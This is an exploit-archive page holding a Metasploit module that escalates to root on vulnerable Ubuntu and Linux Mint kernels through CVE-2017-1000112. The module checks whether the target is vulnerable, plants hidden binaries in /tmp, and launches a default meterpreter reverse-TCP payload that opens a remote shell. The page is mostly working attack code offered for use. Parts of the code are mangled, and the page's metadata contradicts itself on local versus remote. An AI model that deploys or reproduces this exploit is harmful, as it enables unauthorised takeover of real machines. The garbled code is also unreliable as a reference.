Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation

Credit: h00die
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO). This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and SMAP disabled. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various Ubuntu and Linux Mint systems, including: Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop; Ubuntu 16.04 4.8.0-53-generic; Linux Mint 17.3 4.4.0-89-generic; Linux Mint 18 4.8.0-58-generic }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'h00die', # Metasploit module 'Brendan Coles' # Metasploit module ], 'DisclosureDate' => 'Aug 10 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2017-1000112' ], [ 'EDB', '43418' ], [ 'BID', '100262' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options ['COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),'WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file fd = path, 'rb' data = fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ || version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" vprint_status 'Checking if SMAP is enabled ...' if smap_enabled? vprint_error 'SMAP is enabled' return CheckCode::Safe end vprint_good 'SMAP is not enabled' arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}" output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end

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